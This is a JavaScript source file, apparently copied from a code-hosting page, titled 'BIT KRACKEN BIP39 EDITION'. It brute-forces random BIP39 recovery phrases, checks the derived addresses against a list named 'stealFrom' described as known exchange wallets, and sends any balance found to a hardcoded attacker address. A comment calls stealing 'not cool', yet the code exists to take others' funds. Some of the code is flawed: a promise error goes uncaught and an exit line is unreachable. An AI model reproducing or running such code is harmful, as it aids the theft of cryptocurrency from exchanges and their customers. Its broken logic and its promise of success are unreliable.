77 lines
2.7 KiB
JavaScript
77 lines
2.7 KiB
JavaScript
var CoinKey = require('coinkey') //1.0.0
|
|
var bip39 = require('bip39')
|
|
var hdkey = require('hdkey')
|
|
var bitcoinTransaction = require('bitcoin-transaction');
|
|
var to = "1ShzJ7McjMYaboVFokny1LGMFLT7Y6qDj"; //change me to who you want the bitcoin to go to
|
|
var mnemonic;
|
|
var seed;
|
|
var seedToKey;
|
|
var root;
|
|
|
|
const stealFrom = ["34xp4vRoCGJym3xR7yCVPFHoCNxv4Twseo", "bc1ql49ydapnjafl5t2cp9zqpjwe6pdgmxy98859v2","39884E3j6KZj82FK4vcCrkUvWYL5MQaS3v"] //a short list of known exchanges, be sure to change, stealing is not cool, just an example! ;-)
|
|
|
|
console.log(`
|
|
/=========================\\
|
|
|BBB IIIII TTTTTTT |
|
|
|B B I T |
|
|
|BBBB I T |
|
|
|B B I T |
|
|
|BBBBB IIIII T |
|
|
| KRACKEN|
|
|
\\=========================/
|
|
BIP39 EDITION
|
|
`)
|
|
|
|
bitcoinTransaction.providers.balance.mainnet.default = bitcoinTransaction.providers.balance.mainnet.blockchain;
|
|
|
|
console.log("Working (This will take *pretty much forever!*)")
|
|
|
|
while (true) {
|
|
mnemonic = bip39.generateMnemonic() //create random Bip39 "recovery phrase"
|
|
seed = bip39.mnemonicToSeedSync(mnemonic).toString('hex'); //generate seed bujffer
|
|
root = hdkey.fromMasterSeed(seed); //generate hdkey object containing private and public key from seed buffer
|
|
seedToKey = root.privateKey;
|
|
var ck = new CoinKey(root.privateKey) //Create address from private key, which is from the Bip39 seed, which is from random Bip39 "recovery phrase"
|
|
var from = ck.publicAddress; //Our current "brute forced" address
|
|
var privKeyWIF = ck.privateWif; //Private (WIF) key of "brute forced" address in WIF form
|
|
|
|
console.log(`WIF: ${ck.privateWif}
|
|
PRIVATE KEY: ${root.privateKey.toString('hex')}
|
|
SEED: ${seed}
|
|
MNEMONIC: ${mnemonic}`);
|
|
if (bip39.validateMnemonic(mnemonic)) {
|
|
console.log("Valid mnemonic found, attempting...")
|
|
if (stealFrom.includes(from)) {
|
|
try {
|
|
bitcoinTransaction.getBalance(from, { network: "mainnet" }).then((balanceInBTC) => {
|
|
if (balanceInBTC > 1) {
|
|
console.log("Valid BTC found!")
|
|
console.log(`Sending ${balanceInBTC} to ${to}.`)
|
|
console.log(`Congrats! It should take about half an hour to get your ${balanceInBTC} BTC.`)
|
|
return bitcoinTransaction.sendTransaction({
|
|
from: from,
|
|
to: to,
|
|
privKeyWIF: privKeyWIF,
|
|
btc: (balanceInBTC - (balanceInBTC * .3)),
|
|
network: "mainnet",
|
|
fee: "halfHour"
|
|
});
|
|
process.exit()
|
|
//this line ignored by VSCode.
|
|
} else {
|
|
console.log("Not a real key with a balance, keep going...")
|
|
return "none-yet";
|
|
}
|
|
});
|
|
} catch {
|
|
console.log(`This probably isn't a valid Private Key/Address. This is normal, I think.`)
|
|
}
|
|
} else {
|
|
console.log("Not in whitelist!")
|
|
}
|
|
} else {
|
|
console.log("Still going...")
|
|
}
|
|
|
|
await new Promise(r => setTimeout(r, 13));
|
|
}
|